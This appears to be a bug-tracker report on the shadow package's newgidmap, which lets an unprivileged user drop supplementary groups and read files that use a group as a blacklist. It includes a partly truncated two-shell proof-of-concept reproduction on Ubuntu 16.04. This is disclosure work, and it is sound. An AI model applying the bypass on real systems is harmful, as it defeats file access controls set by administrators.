unprivileged user can drop supplementary groups
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
shadow (Ubuntu) |
Confirmed
|
Low
|
Unassigned | ||
shadow (openSUSE) |
Fix Released
|
Medium
|
Bug Description
Distribution: Ubuntu 16.04.3 LTS
Kernel: 4.4.0-97-generic
uidmap package version: 1:4.2-3.1ubuntu5.3
The newgidmap setuid executable allows any user to write a single mapping line to the gid_map of a process whose identity is the same as the calling process, as long as that mapping line maps the process's own GID outside of the user namespace to GID 0 inside the user namespace.
Newgidmap will write the mapping regardless of the content of /proc/$
This is possible even if there is no entry for the user in /etc/subgid, because no subordinate GIDs are actually being used.
This allows any user to circumvent the use of supplementary groups as blacklists, e.g. for some file owned by root:blacklist with permission bits 0604 (octal). Normally any process whose identity included the group "blacklist" in its supplementary groups would not be able to read that file. By performing this exploit using newgidmap, they can drop all supplementary groups and read that file.
If newgidmap was not available, unprivileged users would not be able to write a process's gid_map until writing "deny" to /proc/$
An example using 2 login shells for a user named "someone" on Ubuntu Xenial, with the uidmap package installed:
Shell 1
someone@
uid=1001(someone) gid=1001(someone) groups=
someone@
-rw----r-- 1 root restricted 8 Nov 1 12:23 /tmp/should_
someone@
cat: /tmp/should_
someone@
nobody@
1878
Shell 2
someone@
lxd:100000:65536
root:100000:65536
ubuntu:165536:65536
someone@
lxd:100000:65536
root:100000:65536
ubuntu:165536:65536
# There are no entries in /etc/sub{u,g}id for someone, but this doesn't matter that much as subordinate IDs are not being requested.
someone@
someone@
Back to shell 1
nobody@
uid=0(root) gid=0(root) groups=
# The presence of the "nogroup" supplementary group indicates that some unmapped GIDs are present as supplementary GIDs. The kernel knows that this process still has "restricted" in its supplementary groups, so it can't read the restricted file yet.
nobody@
cat: /tmp/should_
# The process has gained CAP_SETGID in its user namespace by becoming UID 0. /proc/$
nobody@
su: Authentication failure
(Ignored)
bash: /root/.bashrc: Permission denied
# Supplementary groups have been dropped
root@ubuntu-
uid=0(root) gid=0(root) groups=0(root)
# It can read the restricted file
root@ubuntu-
content
CVE References
Changed in shadow (openSUSE): | |
importance: | Undecided → Unknown |
status: | New → Unknown |
Changed in shadow (openSUSE): | |
importance: | Unknown → Medium |
status: | Unknown → Confirmed |
Changed in shadow (openSUSE): | |
status: | Confirmed → Fix Released |
Changed in shadow (Ubuntu): | |
importance: | Undecided → Low |
Hi Craig, interesting finding, thanks for reporting it to us.